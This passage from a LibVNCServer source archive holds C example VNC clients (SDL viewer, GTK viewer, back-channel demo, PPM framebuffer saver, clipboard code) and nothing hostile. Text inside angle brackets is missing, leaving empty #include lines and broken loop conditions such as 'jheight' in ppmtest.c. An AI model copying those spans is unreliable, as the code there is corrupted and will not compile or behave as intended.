buttonMapping[i].sdl) { state = buttonMapping[i].rfb; if (e->type == SDL_MOUSEBUTTONDOWN) buttonMask |= state; else buttonMask &= ~state; break; } } if (sdlPixels) { x = x * cl->width / realWidth; y = y * cl->height / realHeight; } SendPointerEvent(cl, x, y, buttonMask); buttonMask &= ~(rfbButton4Mask | rfbButton5Mask); break; } case SDL_KEYUP: case SDL_KEYDOWN: if (viewOnly) break; SendKeyEvent(cl, SDL_key2rfbKeySym(&e->key), e->type == SDL_KEYDOWN ? TRUE : FALSE); if (e->key.keysym.sym == SDLK_RALT) rightAltKeyDown = e->type == SDL_KEYDOWN; if (e->key.keysym.sym == SDLK_LALT) leftAltKeyDown = e->type == SDL_KEYDOWN; break; case SDL_QUIT: if(listenLoop) { cleanup(cl); return FALSE; } else { rfbClientCleanup(cl); exit(0); } case SDL_ACTIVEEVENT: if (!e->active.gain && rightAltKeyDown) { SendKeyEvent(cl, XK_Alt_R, FALSE); rightAltKeyDown = FALSE; rfbClientLog("released right Alt key\n"); } if (!e->active.gain && leftAltKeyDown) { SendKeyEvent(cl, XK_Alt_L, FALSE); leftAltKeyDown = FALSE; rfbClientLog("released left Alt key\n"); } if (e->active.gain && lost_scrap()) { static char *data = NULL; static int len = 0; get_scrap(T('T', 'E', 'X', 'T'), &len, &data); if (len) SendClientCutText(cl, data, len); } break; case SDL_SYSWMEVENT: clipboard_filter(e); break; case SDL_VIDEORESIZE: setRealDimension(cl, e->resize.w, e->resize.h); break; default: rfbClientLog("ignore SDL event: 0x%x\n", e->type); } return TRUE; } static void got_selection(rfbClient *cl, const char *text, int len) { put_scrap(T('T', 'E', 'X', 'T'), len, text); } #ifdef mac #define main SDLmain #endif int main(int argc,char** argv) { rfbClient* cl; int i, j; SDL_Event e; #ifdef LOG_TO_FILE rfbClientLog=rfbClientErr=log_to_file; #endif for (i = 1, j = 1; i < argc; i++) if (!strcmp(argv[i], "-viewonly")) viewOnly = 1; else if (!strcmp(argv[i], "-resizable")) enableResizable = 1; else if (!strcmp(argv[i], "-no-resizable")) enableResizable = 0; else if (!strcmp(argv[i], "-listen")) { listenLoop = 1; argv[i] = "-listennofork"; ++j; } else { if (i != j) argv[j] = argv[i]; j++; } argc = j; SDL_Init(SDL_INIT_VIDEO | SDL_INIT_NOPARACHUTE); SDL_EnableUNICODE(1); SDL_EnableKeyRepeat(SDL_DEFAULT_REPEAT_DELAY, SDL_DEFAULT_REPEAT_INTERVAL); atexit(SDL_Quit); signal(SIGINT, exit); do { /* 16-bit: cl=rfbGetClient(5,3,2); */ cl=rfbGetClient(8,3,4); cl->MallocFrameBuffer=resize; cl->canHandleNewFBSize = TRUE; cl->GotFrameBufferUpdate=update; cl->HandleKeyboardLedState=kbd_leds; cl->HandleTextChat=text_chat; cl->GotXCutText = got_selection; cl->listenPort = LISTEN_PORT_OFFSET; cl->listen6Port = LISTEN_PORT_OFFSET; if(!rfbInitClient(cl,&argc,argv)) { cl = NULL; /* rfbInitClient has already freed the client struct */ cleanup(cl); break; } init_scrap(); while(1) { if(SDL_PollEvent(&e)) { /* handleSDLEvent() return 0 if user requested window close. In this case, handleSDLEvent() will have called cleanup(). */ if(!handleSDLEvent(cl, &e)) break; } else { i=WaitForMessage(cl,500); if(i<0) { cleanup(cl); break; } if(i) if(!HandleRFBServerMessage(cl)) { cleanup(cl); break; } } } } while(listenLoop); return 0; } libvncserver-LibVNCServer-0.9.11/client_examples/backchannel.c000066400000000000000000000043171303145525000243240ustar00rootroot00000000000000/** * @example backchannel-client.c * A simple example of an RFB client */ #include #include #include #include #include static void HandleRect(rfbClient* client, int x, int y, int w, int h) { } /* * The client part of the back channel extension example. * */ #define rfbBackChannel 155 typedef struct backChannelMsg { uint8_t type; uint8_t pad1; uint16_t pad2; uint32_t size; } backChannelMsg; static void sendMessage(rfbClient* client, char* text) { backChannelMsg msg; uint32_t length = strlen(text)+1; msg.type = rfbBackChannel; msg.size = rfbClientSwap32IfLE(length); if(!WriteToRFBServer(client, (char*)&msg, sizeof(msg)) || !WriteToRFBServer(client, text, length)) { rfbClientLog("enableBackChannel: write error (%d: %s)", errno, strerror(errno)); } } static rfbBool handleBackChannelMessage(rfbClient* client, rfbServerToClientMsg* message) { backChannelMsg msg; char* text; if(message->type != rfbBackChannel) return FALSE; rfbClientSetClientData(client, sendMessage, sendMessage); if(!ReadFromRFBServer(client, ((char*)&msg)+1, sizeof(msg)-1)) return TRUE; msg.size = rfbClientSwap32IfLE(msg.size); text = malloc(msg.size); if(!ReadFromRFBServer(client, text, msg.size)) { free(text); return TRUE; } rfbClientLog("got back channel message: %s\n", text); free(text); return TRUE; } static int backChannelEncodings[] = { rfbBackChannel, 0 }; static rfbClientProtocolExtension backChannel = { backChannelEncodings, /* encodings */ NULL, /* handleEncoding */ handleBackChannelMessage, /* handleMessage */ NULL /* next extension */ }; int main(int argc, char **argv) { rfbClient* client = rfbGetClient(8,3,4); client->GotFrameBufferUpdate = HandleRect; rfbClientRegisterExtension(&backChannel); if (!rfbInitClient(client,&argc,argv)) return 1; while (1) { /* After each idle second, send a message */ if(WaitForMessage(client,1000000)>0) HandleRFBServerMessage(client); else if(rfbClientGetClientData(client, sendMessage)) sendMessage(client, "Dear Server,\n" "thank you for understanding " "back channel messages!"); } rfbClientCleanup(client); return 0; } libvncserver-LibVNCServer-0.9.11/client_examples/gtkvncviewer.c000066400000000000000000000501501303145525000246050ustar00rootroot00000000000000 /* * Copyright (C) 2007 - Mateus Cesar Groess * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, * Boston, MA 02111-1307, USA. */ #include #include #include #include static rfbClient *cl; static gchar *server_cut_text = NULL; static gboolean framebuffer_allocated = FALSE; static GtkWidget *window; static GtkWidget *dialog_connecting = NULL; /* Redraw the screen from the backing pixmap */ static gboolean expose_event (GtkWidget *widget, GdkEventExpose *event) { static GdkImage *image = NULL; if (framebuffer_allocated == FALSE) { rfbClientSetClientData (cl, gtk_init, widget); image = gdk_drawable_get_image (widget->window, 0, 0, widget->allocation.width, widget->allocation.height); cl->frameBuffer= image->mem; cl->width = widget->allocation.width; cl->height = widget->allocation.height; cl->format.bitsPerPixel = image->bits_per_pixel; cl->format.redShift = image->visual->red_shift; cl->format.greenShift = image->visual->green_shift; cl->format.blueShift = image->visual->blue_shift; cl->format.redMax = (1 << image->visual->red_prec) - 1; cl->format.greenMax = (1 << image->visual->green_prec) - 1; cl->format.blueMax = (1 << image->visual->blue_prec) - 1; SetFormatAndEncodings (cl); framebuffer_allocated = TRUE; /* Also disable local cursor */ GdkCursor* cur = gdk_cursor_new( GDK_BLANK_CURSOR ); gdk_window_set_cursor (gtk_widget_get_window(GTK_WIDGET(window)), cur); gdk_cursor_unref( cur ); } gdk_draw_image (GDK_DRAWABLE (widget->window), widget->style->fg_gc[gtk_widget_get_state(widget)], image, event->area.x, event->area.y, event->area.x, event->area.y, event->area.width, event->area.height); return FALSE; } struct { int gdk; int rfb; } buttonMapping[] = { { GDK_BUTTON1_MASK, rfbButton1Mask }, { GDK_BUTTON2_MASK, rfbButton2Mask }, { GDK_BUTTON3_MASK, rfbButton3Mask }, { 0, 0 } }; static gboolean button_event (GtkWidget *widget, GdkEventButton *event) { int x, y; GdkModifierType state; int i, buttonMask; gdk_window_get_pointer (event->window, &x, &y, &state); for (buttonMask = 0, i = 0; buttonMapping[i].gdk; i++) if (state & buttonMapping[i].gdk) buttonMask |= buttonMapping[i].rfb; SendPointerEvent (cl, x, y, buttonMask); return TRUE; } static gboolean motion_notify_event (GtkWidget *widget, GdkEventMotion *event) { int x, y; GdkModifierType state; int i, buttonMask; if (event->is_hint) gdk_window_get_pointer (event->window, &x, &y, &state); else { x = event->x; y = event->y; state = event->state; } for (buttonMask = 0, i = 0; buttonMapping[i].gdk; i++) if (state & buttonMapping[i].gdk) buttonMask |= buttonMapping[i].rfb; SendPointerEvent (cl, x, y, buttonMask); return TRUE; } static void got_cut_text (rfbClient *cl, const char *text, int textlen) { if (server_cut_text != NULL) { g_free (server_cut_text); server_cut_text = NULL; } server_cut_text = g_strdup (text); } void received_text_from_clipboard (GtkClipboard *clipboard, const gchar *text, gpointer data) { if (text) SendClientCutText (cl, (char *) text, strlen (text)); } static void clipboard_local_to_remote (GtkMenuItem *menuitem, gpointer user_data) { GtkClipboard *clipboard; clipboard = gtk_widget_get_clipboard (GTK_WIDGET (menuitem), GDK_SELECTION_CLIPBOARD); gtk_clipboard_request_text (clipboard, received_text_from_clipboard, NULL); } static void clipboard_remote_to_local (GtkMenuItem *menuitem, gpointer user_data) { GtkClipboard *clipboard; clipboard = gtk_widget_get_clipboard (GTK_WIDGET (menuitem), GDK_SELECTION_CLIPBOARD); gtk_clipboard_set_text (clipboard, server_cut_text, strlen (server_cut_text)); } static void request_screen_refresh (GtkMenuItem *menuitem, gpointer user_data) { SendFramebufferUpdateRequest (cl, 0, 0, cl->width, cl->height, FALSE); } static void send_f8 (GtkMenuItem *menuitem, gpointer user_data) { SendKeyEvent(cl, XK_F8, TRUE); SendKeyEvent(cl, XK_F8, FALSE); } static void send_crtl_alt_del (GtkMenuItem *menuitem, gpointer user_data) { SendKeyEvent(cl, XK_Control_L, TRUE); SendKeyEvent(cl, XK_Alt_L, TRUE); SendKeyEvent(cl, XK_Delete, TRUE); SendKeyEvent(cl, XK_Alt_L, FALSE); SendKeyEvent(cl, XK_Control_L, FALSE); SendKeyEvent(cl, XK_Delete, FALSE); } static void show_connect_window(int argc, char **argv) { GtkWidget *label; char buf[256]; dialog_connecting = gtk_dialog_new_with_buttons ("VNC Viewer", NULL, GTK_DIALOG_DESTROY_WITH_PARENT, /*GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL,*/ NULL); /* FIXME: this works only when address[:port] is at end of arg list */ char *server; if(argc==1) server = "localhost"; else server = argv[argc-1]; snprintf(buf, 255, "Connecting to %s...", server); label = gtk_label_new (buf); gtk_widget_show (label); gtk_container_add (GTK_CONTAINER (GTK_DIALOG(dialog_connecting)->vbox), label); gtk_widget_show (dialog_connecting); while (gtk_events_pending ()) gtk_main_iteration (); } static void show_popup_menu() { GtkWidget *popup_menu; GtkWidget *menu_item; popup_menu = gtk_menu_new (); menu_item = gtk_menu_item_new_with_label ("Dismiss popup"); gtk_widget_show (menu_item); gtk_menu_shell_append (GTK_MENU_SHELL (popup_menu), menu_item); menu_item = gtk_menu_item_new_with_label ("Clipboard: local -> remote"); g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (clipboard_local_to_remote), NULL); gtk_widget_show (menu_item); gtk_menu_shell_append (GTK_MENU_SHELL (popup_menu), menu_item); menu_item = gtk_menu_item_new_with_label ("Clipboard: local <- remote"); g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (clipboard_remote_to_local), NULL); gtk_widget_show (menu_item); gtk_menu_shell_append (GTK_MENU_SHELL (popup_menu), menu_item); menu_item = gtk_menu_item_new_with_label ("Request refresh"); g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (request_screen_refresh), NULL); gtk_widget_show (menu_item); gtk_menu_shell_append (GTK_MENU_SHELL (popup_menu), menu_item); menu_item = gtk_menu_item_new_with_label ("Send ctrl-alt-del"); g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (send_crtl_alt_del), NULL); gtk_widget_show (menu_item); gtk_menu_shell_append (GTK_MENU_SHELL (popup_menu), menu_item); menu_item = gtk_menu_item_new_with_label ("Send F8"); g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (send_f8), NULL); gtk_widget_show (menu_item); gtk_menu_shell_append (GTK_MENU_SHELL (popup_menu), menu_item); gtk_menu_popup (GTK_MENU (popup_menu), NULL, NULL, NULL, NULL, 0, gtk_get_current_event_time()); } static rfbKeySym gdkKey2rfbKeySym(guint keyval) { rfbKeySym k = 0; switch(keyval) { case GDK_BackSpace: k = XK_BackSpace; break; case GDK_Tab: k = XK_Tab; break; case GDK_Clear: k = XK_Clear; break; case GDK_Return: k = XK_Return; break; case GDK_Pause: k = XK_Pause; break; case GDK_Escape: k = XK_Escape; break; case GDK_space: k = XK_space; break; case GDK_Delete: k = XK_Delete; break; case GDK_KP_0: k = XK_KP_0; break; case GDK_KP_1: k = XK_KP_1; break; case GDK_KP_2: k = XK_KP_2; break; case GDK_KP_3: k = XK_KP_3; break; case GDK_KP_4: k = XK_KP_4; break; case GDK_KP_5: k = XK_KP_5; break; case GDK_KP_6: k = XK_KP_6; break; case GDK_KP_7: k = XK_KP_7; break; case GDK_KP_8: k = XK_KP_8; break; case GDK_KP_9: k = XK_KP_9; break; case GDK_KP_Decimal: k = XK_KP_Decimal; break; case GDK_KP_Divide: k = XK_KP_Divide; break; case GDK_KP_Multiply: k = XK_KP_Multiply; break; case GDK_KP_Subtract: k = XK_KP_Subtract; break; case GDK_KP_Add: k = XK_KP_Add; break; case GDK_KP_Enter: k = XK_KP_Enter; break; case GDK_KP_Equal: k = XK_KP_Equal; break; case GDK_Up: k = XK_Up; break; case GDK_Down: k = XK_Down; break; case GDK_Right: k = XK_Right; break; case GDK_Left: k = XK_Left; break; case GDK_Insert: k = XK_Insert; break; case GDK_Home: k = XK_Home; break; case GDK_End: k = XK_End; break; case GDK_Page_Up: k = XK_Page_Up; break; case GDK_Page_Down: k = XK_Page_Down; break; case GDK_F1: k = XK_F1; break; case GDK_F2: k = XK_F2; break; case GDK_F3: k = XK_F3; break; case GDK_F4: k = XK_F4; break; case GDK_F5: k = XK_F5; break; case GDK_F6: k = XK_F6; break; case GDK_F7: k = XK_F7; break; case GDK_F8: k = XK_F8; break; case GDK_F9: k = XK_F9; break; case GDK_F10: k = XK_F10; break; case GDK_F11: k = XK_F11; break; case GDK_F12: k = XK_F12; break; case GDK_F13: k = XK_F13; break; case GDK_F14: k = XK_F14; break; case GDK_F15: k = XK_F15; break; case GDK_Num_Lock: k = XK_Num_Lock; break; case GDK_Caps_Lock: k = XK_Caps_Lock; break; case GDK_Scroll_Lock: k = XK_Scroll_Lock; break; case GDK_Shift_R: k = XK_Shift_R; break; case GDK_Shift_L: k = XK_Shift_L; break; case GDK_Control_R: k = XK_Control_R; break; case GDK_Control_L: k = XK_Control_L; break; case GDK_Alt_R: k = XK_Alt_R; break; case GDK_Alt_L: k = XK_Alt_L; break; case GDK_Meta_R: k = XK_Meta_R; break; case GDK_Meta_L: k = XK_Meta_L; break; #if 0 /* TODO: find out keysyms */ case GDK_Super_L: k = XK_LSuper; break; /* left "windows" key */ case GDK_Super_R: k = XK_RSuper; break; /* right "windows" key */ case GDK_Multi_key: k = XK_Compose; break; #endif case GDK_Mode_switch: k = XK_Mode_switch; break; case GDK_Help: k = XK_Help; break; case GDK_Print: k = XK_Print; break; case GDK_Sys_Req: k = XK_Sys_Req; break; case GDK_Break: k = XK_Break; break; default: break; } if (k == 0) { if (keyval < 0x100) k = keyval; else rfbClientLog ("Unknown keysym: %d\n", keyval); } return k; } static gboolean key_event (GtkWidget *widget, GdkEventKey *event, gpointer user_data) { if ((event->type == GDK_KEY_PRESS) && (event->keyval == GDK_F8)) show_popup_menu(); else SendKeyEvent(cl, gdkKey2rfbKeySym (event->keyval), (event->type == GDK_KEY_PRESS) ? TRUE : FALSE); return FALSE; } void quit () { exit (0); } static rfbBool resize (rfbClient *client) { GtkWidget *scrolled_window; GtkWidget *drawing_area=NULL; static char first=TRUE; int tmp_width, tmp_height; if (first) { first=FALSE; /* Create the drawing area */ drawing_area = gtk_drawing_area_new (); gtk_widget_set_size_request (GTK_WIDGET (drawing_area), client->width, client->height); /* Signals used to handle backing pixmap */ g_signal_connect (G_OBJECT (drawing_area), "expose_event", G_CALLBACK (expose_event), NULL); /* Event signals */ g_signal_connect (G_OBJECT (drawing_area), "motion-notify-event", G_CALLBACK (motion_notify_event), NULL); g_signal_connect (G_OBJECT (drawing_area), "button-press-event", G_CALLBACK (button_event), NULL); g_signal_connect (G_OBJECT (drawing_area), "button-release-event", G_CALLBACK (button_event), NULL); gtk_widget_set_events (drawing_area, GDK_EXPOSURE_MASK | GDK_LEAVE_NOTIFY_MASK | GDK_BUTTON_PRESS_MASK | GDK_BUTTON_RELEASE_MASK | GDK_POINTER_MOTION_MASK | GDK_POINTER_MOTION_HINT_MASK); gtk_widget_show (drawing_area); scrolled_window = gtk_scrolled_window_new (NULL, NULL); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_add_with_viewport ( GTK_SCROLLED_WINDOW (scrolled_window), drawing_area); g_signal_connect (G_OBJECT (scrolled_window), "key-press-event", G_CALLBACK (key_event), NULL); g_signal_connect (G_OBJECT (scrolled_window), "key-release-event", G_CALLBACK (key_event), NULL); gtk_widget_show (scrolled_window); window = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (window), client->desktopName); gtk_container_add (GTK_CONTAINER (window), scrolled_window); tmp_width = (int) ( gdk_screen_get_width (gdk_screen_get_default ()) * 0.85); if (client->width > tmp_width) { tmp_height = (int) ( gdk_screen_get_height ( gdk_screen_get_default ()) * 0.85); gtk_widget_set_size_request (window, tmp_width, tmp_height); } else { gtk_widget_set_size_request (window, client->width + 2, client->height + 2); } g_signal_connect (G_OBJECT (window), "destroy", G_CALLBACK (quit), NULL); gtk_widget_show (window); } else { gtk_widget_set_size_request (GTK_WIDGET (drawing_area), client->width, client->height); } return TRUE; } static void update (rfbClient *cl, int x, int y, int w, int h) { if (dialog_connecting != NULL) { gtk_widget_destroy (dialog_connecting); dialog_connecting = NULL; } GtkWidget *drawing_area = rfbClientGetClientData (cl, gtk_init); if (drawing_area != NULL) gtk_widget_queue_draw_area (drawing_area, x, y, w, h); } static void kbd_leds (rfbClient *cl, int value, int pad) { /* note: pad is for future expansion 0=unused */ fprintf (stderr, "Led State= 0x%02X\n", value); fflush (stderr); } /* trivial support for textchat */ static void text_chat (rfbClient *cl, int value, char *text) { switch (value) { case rfbTextChatOpen: fprintf (stderr, "TextChat: We should open a textchat window!\n"); TextChatOpen (cl); break; case rfbTextChatClose: fprintf (stderr, "TextChat: We should close our window!\n"); break; case rfbTextChatFinished: fprintf (stderr, "TextChat: We should close our window!\n"); break; default: fprintf (stderr, "TextChat: Received \"%s\"\n", text); break; } fflush (stderr); } static gboolean on_entry_key_press_event (GtkWidget *widget, GdkEventKey *event, gpointer user_data) { if (event->keyval == GDK_Escape) gtk_dialog_response (GTK_DIALOG(user_data), GTK_RESPONSE_REJECT); else if (event->keyval == GDK_Return) gtk_dialog_response (GTK_DIALOG(user_data), GTK_RESPONSE_ACCEPT); return FALSE; } static void GtkErrorLog (const char *format, ...) { GtkWidget *dialog, *label; va_list args; char buf[256]; if (dialog_connecting != NULL) { gtk_widget_destroy (dialog_connecting); dialog_connecting = NULL; } va_start (args, format); vsnprintf (buf, 255, format, args); va_end (args); if (g_utf8_validate (buf, strlen (buf), NULL)) { label = gtk_label_new (buf); } else { const gchar *charset; gchar *utf8; (void) g_get_charset (&charset); utf8 = g_convert_with_fallback (buf, strlen (buf), "UTF-8", charset, NULL, NULL, NULL, NULL); if (utf8) { label = gtk_label_new (utf8); g_free (utf8); } else { label = gtk_label_new (buf); g_warning ("Message Output is not in UTF-8" "nor in locale charset.\n"); } } dialog = gtk_dialog_new_with_buttons ("Error", NULL, GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_OK, GTK_RESPONSE_ACCEPT, NULL); label = gtk_label_new (buf); gtk_widget_show (label); gtk_container_add (GTK_CONTAINER (GTK_DIALOG(dialog)->vbox), label); gtk_widget_show (dialog); switch (gtk_dialog_run (GTK_DIALOG (dialog))) { case GTK_RESPONSE_ACCEPT: break; default: break; } gtk_widget_destroy (dialog); } static void GtkDefaultLog (const char *format, ...) { va_list args; char buf[256]; time_t log_clock; va_start (args, format); time (&log_clock); strftime (buf, 255, "%d/%m/%Y %X ", localtime (&log_clock)); fprintf (stdout, "%s", buf); vfprintf (stdout, format, args); fflush (stdout); va_end (args); } static char * get_password (rfbClient *client) { GtkWidget *dialog, *entry; char *password; gtk_widget_destroy (dialog_connecting); dialog_connecting = NULL; dialog = gtk_dialog_new_with_buttons ("Password", NULL, GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_CANCEL, GTK_RESPONSE_REJECT, GTK_STOCK_OK, GTK_RESPONSE_ACCEPT, NULL); entry = gtk_entry_new (); gtk_entry_set_visibility (GTK_ENTRY (entry), FALSE); g_signal_connect (GTK_OBJECT(entry), "key-press-event", G_CALLBACK(on_entry_key_press_event), GTK_OBJECT (dialog)); gtk_widget_show (entry); gtk_container_add (GTK_CONTAINER (GTK_DIALOG(dialog)->vbox), entry); gtk_widget_show (dialog); switch (gtk_dialog_run (GTK_DIALOG (dialog))) { case GTK_RESPONSE_ACCEPT: password = strdup (gtk_entry_get_text (GTK_ENTRY (entry))); break; default: password = NULL; break; } gtk_widget_destroy (dialog); return password; } int main (int argc, char *argv[]) { int i; GdkImage *image; rfbClientLog = GtkDefaultLog; rfbClientErr = GtkErrorLog; gtk_init (&argc, &argv); /* create a dummy image just to make use of its properties */ image = gdk_image_new (GDK_IMAGE_FASTEST, gdk_visual_get_system(), 200, 100); cl = rfbGetClient (image->depth / 3, 3, image->bpp); cl->format.redShift = image->visual->red_shift; cl->format.greenShift = image->visual->green_shift; cl->format.blueShift = image->visual->blue_shift; cl->format.redMax = (1 << image->visual->red_prec) - 1; cl->format.greenMax = (1 << image->visual->green_prec) - 1; cl->format.blueMax = (1 << image->visual->blue_prec) - 1; g_object_unref (image); cl->MallocFrameBuffer = resize; cl->canHandleNewFBSize = TRUE; cl->GotFrameBufferUpdate = update; cl->GotXCutText = got_cut_text; cl->HandleKeyboardLedState = kbd_leds; cl->HandleTextChat = text_chat; cl->GetPassword = get_password; show_connect_window (argc, argv); if (!rfbInitClient (cl, &argc, argv)) return 1; while (1) { while (gtk_events_pending ()) gtk_main_iteration (); i = WaitForMessage (cl, 500); if (i < 0) return 0; if (i && framebuffer_allocated == TRUE) if (!HandleRFBServerMessage(cl)) return 0; } gtk_main (); return 0; } libvncserver-LibVNCServer-0.9.11/client_examples/ppmtest.c000066400000000000000000000050461303145525000235670ustar00rootroot00000000000000/** * @example ppmtest.c * A simple example of an RFB client */ #include #include #include #include #include static void PrintRect(rfbClient* client, int x, int y, int w, int h) { rfbClientLog("Received an update for %d,%d,%d,%d.\n",x,y,w,h); } static void SaveFramebufferAsPPM(rfbClient* client, int x, int y, int w, int h) { static time_t t=0,t1; FILE* f; int i,j; rfbPixelFormat* pf=&client->format; int bpp=pf->bitsPerPixel/8; int row_stride=client->width*bpp; /* save one picture only if the last is older than 2 seconds */ t1=time(NULL); if(t1-t>2) t=t1; else return; /* assert bpp=4 */ if(bpp!=4 && bpp!=2) { rfbClientLog("bpp = %d (!=4)\n",bpp); return; } f=fopen("framebuffer.ppm","wb"); if(!f) { rfbClientErr("Could not open framebuffer.ppm\n"); return; } fprintf(f,"P6\n# %s\n%d %d\n255\n",client->desktopName,client->width,client->height); for(j=0;jheight*row_stride;j+=row_stride) for(i=0;iwidth*bpp;i+=bpp) { unsigned char* p=client->frameBuffer+j+i; unsigned int v; if(bpp==4) v=*(unsigned int*)p; else if(bpp==2) v=*(unsigned short*)p; else v=*(unsigned char*)p; fputc((v>>pf->redShift)*256/(pf->redMax+1),f); fputc((v>>pf->greenShift)*256/(pf->greenMax+1),f); fputc((v>>pf->blueShift)*256/(pf->blueMax+1),f); } fclose(f); } int main(int argc, char **argv) { rfbClient* client = rfbGetClient(8,3,4); time_t t=time(NULL); if(argc>1 && !strcmp("-print",argv[1])) { client->GotFrameBufferUpdate = PrintRect; argv[1]=argv[0]; argv++; argc--; } else client->GotFrameBufferUpdate = SaveFramebufferAsPPM; /* The -listen option is used to make us a daemon process which listens for incoming connections from servers, rather than actively connecting to a given server. The -tunnel and -via options are useful to create connections tunneled via SSH port forwarding. We must test for the -listen option before invoking any Xt functions - this is because we use forking, and Xt doesn't seem to cope with forking very well. For -listen option, when a successful incoming connection has been accepted, listenForIncomingConnections() returns, setting the listenSpecified flag. */ if (!rfbInitClient(client,&argc,argv)) return 1; /* TODO: better wait for update completion */ while (time(NULL)-t<5) { static int i=0; fprintf(stderr,"\r%d",i++); if(WaitForMessage(client,50)<0) break; if(!HandleRFBServerMessage(client)) break; } rfbClientCleanup(client); return 0; } libvncserver-LibVNCServer-0.9.11/client_examples/scrap.c000066400000000000000000000313531303145525000232030ustar00rootroot00000000000000/* Handle clipboard text and data in arbitrary formats */ #include #include #ifdef WIN32 #include #include #else #include #include #endif #include "scrap.h" #include "rfb/rfbconfig.h" /* Determine what type of clipboard we are using */ #if defined(__unix__) && !defined(__QNXNTO__) && defined(LIBVNCSERVER_HAVE_X11) #define X11_SCRAP #elif defined(__WIN32__) #define WIN_SCRAP #elif defined(__QNXNTO__) #define QNX_SCRAP #else #warning Unknown window manager for clipboard handling #endif /* scrap type */ /* System dependent data types */ #if defined(X11_SCRAP) typedef Atom scrap_type; static Atom XA_TARGETS, XA_TEXT, XA_COMPOUND_TEXT, XA_UTF8_STRING; #elif defined(WIN_SCRAP) typedef UINT scrap_type; #elif defined(QNX_SCRAP) typedef uint32_t scrap_type; #define Ph_CL_TEXT T('T', 'E', 'X', 'T') #else typedef int scrap_type; #endif /* scrap type */ /* System dependent variables */ #if defined(X11_SCRAP) static Display *SDL_Display; static Window SDL_Window; static void (*Lock_Display)(void); static void (*Unlock_Display)(void); static Atom XA_UTF8_STRING; #elif defined(WIN_SCRAP) static HWND SDL_Window; #elif defined(QNX_SCRAP) static unsigned short InputGroup; #endif /* scrap type */ #define FORMAT_PREFIX "SDL_scrap_0x" static scrap_type convert_format(int type) { switch (type) { case T('T', 'E', 'X', 'T'): #if defined(X11_SCRAP) return XA_UTF8_STRING ? XA_UTF8_STRING : XA_STRING; #elif defined(WIN_SCRAP) return CF_TEXT; #elif defined(QNX_SCRAP) return Ph_CL_TEXT; #endif /* scrap type */ default: { char format[sizeof(FORMAT_PREFIX)+8+1]; sprintf(format, "%s%08lx", FORMAT_PREFIX, (unsigned long)type); #if defined(X11_SCRAP) return XInternAtom(SDL_Display, format, False); #elif defined(WIN_SCRAP) return RegisterClipboardFormat(format); #endif /* scrap type */ } } } /* Convert internal data to scrap format */ static int convert_data(int type, char *dst, const char *src, int srclen) { int dstlen; dstlen = 0; switch (type) { case T('T', 'E', 'X', 'T'): if (dst) { while (--srclen >= 0) { #if defined(__unix__) if (*src == '\r') { *dst++ = '\n'; ++dstlen; } else #elif defined(__WIN32__) if (*src == '\r') { *dst++ = '\r'; ++dstlen; *dst++ = '\n'; ++dstlen; } else #endif { *dst++ = *src; ++dstlen; } ++src; } *dst = '\0'; ++dstlen; } else { while (--srclen >= 0) { #if defined(__unix__) if (*src == '\r') ++dstlen; else #elif defined(__WIN32__) if (*src == '\r') { ++dstlen; ++dstlen; } else #endif { ++dstlen; } ++src; } ++dstlen; } break; default: if (dst) { *(int *)dst = srclen; dst += sizeof(int); memcpy(dst, src, srclen); } dstlen = sizeof(int)+srclen; break; } return(dstlen); } /* Convert scrap data to internal format */ static int convert_scrap(int type, char *dst, char *src, int srclen) { int dstlen; dstlen = 0; switch (type) { case T('T', 'E', 'X', 'T'): { if (srclen == 0) srclen = strlen(src); if (dst) { while (--srclen >= 0) { #if defined(__WIN32__) if (*src == '\r') /* drop extraneous '\r' */; else #endif if (*src == '\n') { *dst++ = '\r'; ++dstlen; } else { *dst++ = *src; ++dstlen; } ++src; } *dst = '\0'; ++dstlen; } else { while (--srclen >= 0) { #if defined(__WIN32__) /* drop extraneous '\r' */; if (*src != '\r') #endif ++dstlen; ++src; } ++dstlen; } break; } default: dstlen = *(int *)src; if (dst) memcpy(dst, src + sizeof(int), srclen ? srclen - sizeof(int) : dstlen); break; } return dstlen; } int init_scrap(void) { SDL_SysWMinfo info; int retval; /* Grab the window manager specific information */ retval = -1; SDL_SetError("SDL is not running on known window manager"); SDL_VERSION(&info.version); if (SDL_GetWMInfo(&info)) { /* Save the information for later use */ #if defined(X11_SCRAP) if (info.subsystem == SDL_SYSWM_X11) { SDL_Display = info.info.x11.display; SDL_Window = info.info.x11.window; Lock_Display = info.info.x11.lock_func; Unlock_Display = info.info.x11.unlock_func; /* Enable the special window hook events */ SDL_EventState(SDL_SYSWMEVENT, SDL_ENABLE); SDL_SetEventFilter(clipboard_filter); XA_TARGETS = XInternAtom(SDL_Display, "TARGETS", False); XA_TEXT = XInternAtom(SDL_Display, "TEXT", False); XA_COMPOUND_TEXT = XInternAtom(SDL_Display, "COMPOUND_TEXT", False); XA_UTF8_STRING = XInternAtom(SDL_Display, "UTF8_STRING", False); retval = 0; } else SDL_SetError("SDL is not running on X11"); #elif defined(WIN_SCRAP) SDL_Window = info.window; retval = 0; #elif defined(QNX_SCRAP) InputGroup = PhInputGroup(NULL); retval = 0; #endif /* scrap type */ } return(retval); } int lost_scrap(void) { int retval; #if defined(X11_SCRAP) if (Lock_Display) Lock_Display(); retval = (XGetSelectionOwner(SDL_Display, XA_PRIMARY) != SDL_Window); if (Unlock_Display) Unlock_Display(); #elif defined(WIN_SCRAP) retval = (GetClipboardOwner() != SDL_Window); #elif defined(QNX_SCRAP) retval = (PhInputGroup(NULL) != InputGroup); 